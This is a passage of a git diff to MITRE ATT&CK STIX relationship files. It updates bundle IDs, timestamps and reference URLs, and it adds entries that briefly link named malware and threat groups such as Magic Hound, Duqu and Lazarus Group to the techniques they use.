             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS encodes C2 traffic with base64.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6.json b/enterprise-attack/relationship/relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6.json
new file mode 100644
index 0000000000..936dba2233
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9f000224-4f4a-4347-9d72-8da19b99816d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware can use a SOAP Web service to communicate with its C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7a1e7afa-7052-4e47-8725-66e485efda43.json b/enterprise-attack/relationship/relationship--7a1e7afa-7052-4e47-8725-66e485efda43.json
index 083c849e08..bf01b8bebf 100644
--- a/enterprise-attack/relationship/relationship--7a1e7afa-7052-4e47-8725-66e485efda43.json
+++ b/enterprise-attack/relationship/relationship--7a1e7afa-7052-4e47-8725-66e485efda43.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bdeb0938-e93b-4cbc-b4d9-42ddc4721cb6",
+    "id": "bundle--8d812cec-94bd-4d43-a26b-6e9b08134d30",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7a1e7afa-7052-4e47-8725-66e485efda43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Unknown Logger can obtain information about the victim's IP address.",
             "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf.json b/enterprise-attack/relationship/relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf.json
index 9bf515ce1d..bf46d368a0 100644
--- a/enterprise-attack/relationship/relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf.json
+++ b/enterprise-attack/relationship/relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f0e33e34-48da-4618-8300-2a401a9ebfd2",
+    "id": "bundle--1a25ec77-42ef-441b-87ba-496e881c6cdf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot contains keylogging functionality to steal passwords.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--7a783e7e-a735-42d7-874d-633b37e21033.json b/enterprise-attack/relationship/relationship--7a783e7e-a735-42d7-874d-633b37e21033.json
new file mode 100644
index 0000000000..7c018f2243
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7a783e7e-a735-42d7-874d-633b37e21033.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--1f5cc80f-55ff-4258-a241-0d7b8c763c65",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7a783e7e-a735-42d7-874d-633b37e21033",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28.json b/enterprise-attack/relationship/relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28.json
index cfdeb6fda6..1f4804ab08 100644
--- a/enterprise-attack/relationship/relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28.json
+++ b/enterprise-attack/relationship/relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c53422a-6ef7-4a86-83f1-5ecaba31d59f",
+    "id": "bundle--74b1f7a7-5ae6-4728-ad24-16520daf8a71",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8.json b/enterprise-attack/relationship/relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8.json
index 61aa2ded69..b6aa21da98 100644
--- a/enterprise-attack/relationship/relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8.json
+++ b/enterprise-attack/relationship/relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df46da57-2f80-4c39-a195-e1e0d8f558e3",
+    "id": "bundle--dd6d06a5-abb0-4767-96a4-413f985b4a28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373.json b/enterprise-attack/relationship/relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373.json
new file mode 100644
index 0000000000..2502d41331
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4589193d-ee28-4e64-bc03-cf88d9a6e3e4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has obtained the victim username and sent it to the C2 server.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56.json b/enterprise-attack/relationship/relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56.json
index 6b225a8f67..4b3e3af4d7 100644
--- a/enterprise-attack/relationship/relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56.json
+++ b/enterprise-attack/relationship/relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f29c0c18-e96c-4d21-9a6d-d06d21d47c78",
+    "id": "bundle--ab0c1faf-3a34-4bb2-9945-8213f1d61305",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about Windows OS version, computer name, battery info, and physical memory.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a.json b/enterprise-attack/relationship/relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a.json
index 81de637f39..fd8f82a042 100644
--- a/enterprise-attack/relationship/relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a.json
+++ b/enterprise-attack/relationship/relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--285133fa-f10e-4582-8496-44930db04fec",
+    "id": "bundle--25178144-faa0-4419-b948-66992fa54cb6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke gathers system configuration information.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3.json b/enterprise-attack/relationship/relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3.json
index 2eb633ca15..fc2b2d68e5 100644
--- a/enterprise-attack/relationship/relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3.json
+++ b/enterprise-attack/relationship/relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bed42a8-b63b-48b2-b394-084986cf3a10",
+    "id": "bundle--4b662562-5936-41a2-b70d-6f35651e547c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674.json b/enterprise-attack/relationship/relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674.json
index 9a48ed4479..6b6d1be8b6 100644
--- a/enterprise-attack/relationship/relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674.json
+++ b/enterprise-attack/relationship/relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb262fd9-f3fa-4742-b9ff-8b4e9be111cc",
+    "id": "bundle--5e781a39-41c6-4039-87ec-17666b3d562b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs service discovery using <code>net start</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--7b5919ce-efab-45d1-855b-f827d7489b2b.json b/enterprise-attack/relationship/relationship--7b5919ce-efab-45d1-855b-f827d7489b2b.json
index c3ac4accaf..1ce54d8840 100644
--- a/enterprise-attack/relationship/relationship--7b5919ce-efab-45d1-855b-f827d7489b2b.json
+++ b/enterprise-attack/relationship/relationship--7b5919ce-efab-45d1-855b-f827d7489b2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6152885b-f3a1-46f8-afd2-9d276998e1e2",
+    "id": "bundle--c5631f6d-dc15-4b05-aed8-60c26426e94d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b5919ce-efab-45d1-855b-f827d7489b2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran uses RC4 to encrypt C2 traffic.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374.json b/enterprise-attack/relationship/relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374.json
index 388a17689d..6025fb575a 100644
--- a/enterprise-attack/relationship/relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374.json
+++ b/enterprise-attack/relationship/relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--86d9749c-581b-4a7f-82e5-4a29bceb6b79",
+    "id": "bundle--bc5efe01-73c8-4508-9814-a4a59fe8b81b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80",
             "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
diff --git a/enterprise-attack/relationship/relationship--7ba62129-a4ba-42b4-9971-4a650682cb52.json b/enterprise-attack/relationship/relationship--7ba62129-a4ba-42b4-9971-4a650682cb52.json
index a3065028af..e7d7dfbf17 100644
--- a/enterprise-attack/relationship/relationship--7ba62129-a4ba-42b4-9971-4a650682cb52.json
+++ b/enterprise-attack/relationship/relationship--7ba62129-a4ba-42b4-9971-4a650682cb52.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a111e3d2-1573-4def-95f3-9432e8975c7f",
+    "id": "bundle--1b9f22bf-b2a0-45a8-bc65-8f3432893d5f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7ba62129-a4ba-42b4-9971-4a650682cb52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can take regular screenshots when certain applications are open that are sent to the command and control server.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247.json b/enterprise-attack/relationship/relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247.json
index 6eab1d3672..b1e24c1938 100644
--- a/enterprise-attack/relationship/relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247.json
+++ b/enterprise-attack/relationship/relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6fb2a99-36aa-4993-96c5-c84a9b8a78a5",
+    "id": "bundle--f3769b45-0db8-40c4-94d6-e9e7f6344f91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT has a command to retrieve metadata for files on disk as well as a command to list the current working directory.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86.json b/enterprise-attack/relationship/relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86.json
index ebae191655..7db27c9452 100644
--- a/enterprise-attack/relationship/relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86.json
+++ b/enterprise-attack/relationship/relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--916e91e4-a82d-48f3-ba7a-28c254ff0ed2",
+    "id": "bundle--49a1f6ee-9e15-4b74-9189-b18e8c74df23",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--7c792d18-25a3-4d85-be44-93523228748c.json b/enterprise-attack/relationship/relationship--7c792d18-25a3-4d85-be44-93523228748c.json
index b69776f1de..1f70fac161 100644
--- a/enterprise-attack/relationship/relationship--7c792d18-25a3-4d85-be44-93523228748c.json
+++ b/enterprise-attack/relationship/relationship--7c792d18-25a3-4d85-be44-93523228748c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb701224-8410-4831-9400-6b97deee23a6",
+    "id": "bundle--2168e709-5722-49ad-ba8b-4b4673ca9e98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7c792d18-25a3-4d85-be44-93523228748c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover searches for files on local drives based on a predefined list of file extensions.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def.json b/enterprise-attack/relationship/relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def.json
index 6e297f847c..8804c8b065 100644
--- a/enterprise-attack/relationship/relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def.json
+++ b/enterprise-attack/relationship/relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75b4d862-2d19-4e9a-9a26-ec5eaffa16e2",
+    "id": "bundle--f31c194a-b664-4e67-8542-7be46eec3e9e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c.json b/enterprise-attack/relationship/relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c.json
index 520c287c96..6c7faf80db 100644
--- a/enterprise-attack/relationship/relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c.json
+++ b/enterprise-attack/relationship/relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6f8a05d7-ff7d-4dab-8974-c0e3b394cf6a",
+    "id": "bundle--014cf505-3473-4873-8d20-df256a5f5ed4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy can gather very specific information about attached USB devices, to include device instance ID and drive geometry.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921.json b/enterprise-attack/relationship/relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921.json
index f7eb73e2ab..73a0db5b64 100644
--- a/enterprise-attack/relationship/relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921.json
+++ b/enterprise-attack/relationship/relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--440ea3af-8346-4317-bcaa-ee2214db54ad",
+    "id": "bundle--8fa6c1cc-2f65-40e6-913d-c1ec009bec6b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Duqu command and control protocol's data stream can be encrypted with AES-CBC.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a.json b/enterprise-attack/relationship/relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a.json
index b9e2b09d75..8c122d635b 100644
--- a/enterprise-attack/relationship/relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a.json
+++ b/enterprise-attack/relationship/relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0209bb15-6b62-4670-81a7-ab92d897101f",
+    "id": "bundle--69213622-570b-422d-aa58-9702b6ffcf77",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The \"ZJ\" variant of BACKSPACE allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--7cf7d162-a34f-4951-a643-5bf959283f6b.json b/enterprise-attack/relationship/relationship--7cf7d162-a34f-4951-a643-5bf959283f6b.json
index 802f32df0e..d0ea42ded3 100644
--- a/enterprise-attack/relationship/relationship--7cf7d162-a34f-4951-a643-5bf959283f6b.json
+++ b/enterprise-attack/relationship/relationship--7cf7d162-a34f-4951-a643-5bf959283f6b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1a0711f-2467-42a0-ad32-8d2b6e2a35f8",
+    "id": "bundle--8c174e09-9869-4d38-8b6d-6f7f9ec22121",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can create a directory (<code>C:\\ProgramData\\Mail\\MailAg\\gl</code>) to use as a temporary directory for uploading files.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71.json b/enterprise-attack/relationship/relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71.json
new file mode 100644
index 0000000000..a37a9b0341
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c3dde6cd-cf26-4910-a869-03a56ca1cb69",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is a simple proxy that creates an outbound RDP connection.",
+            "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
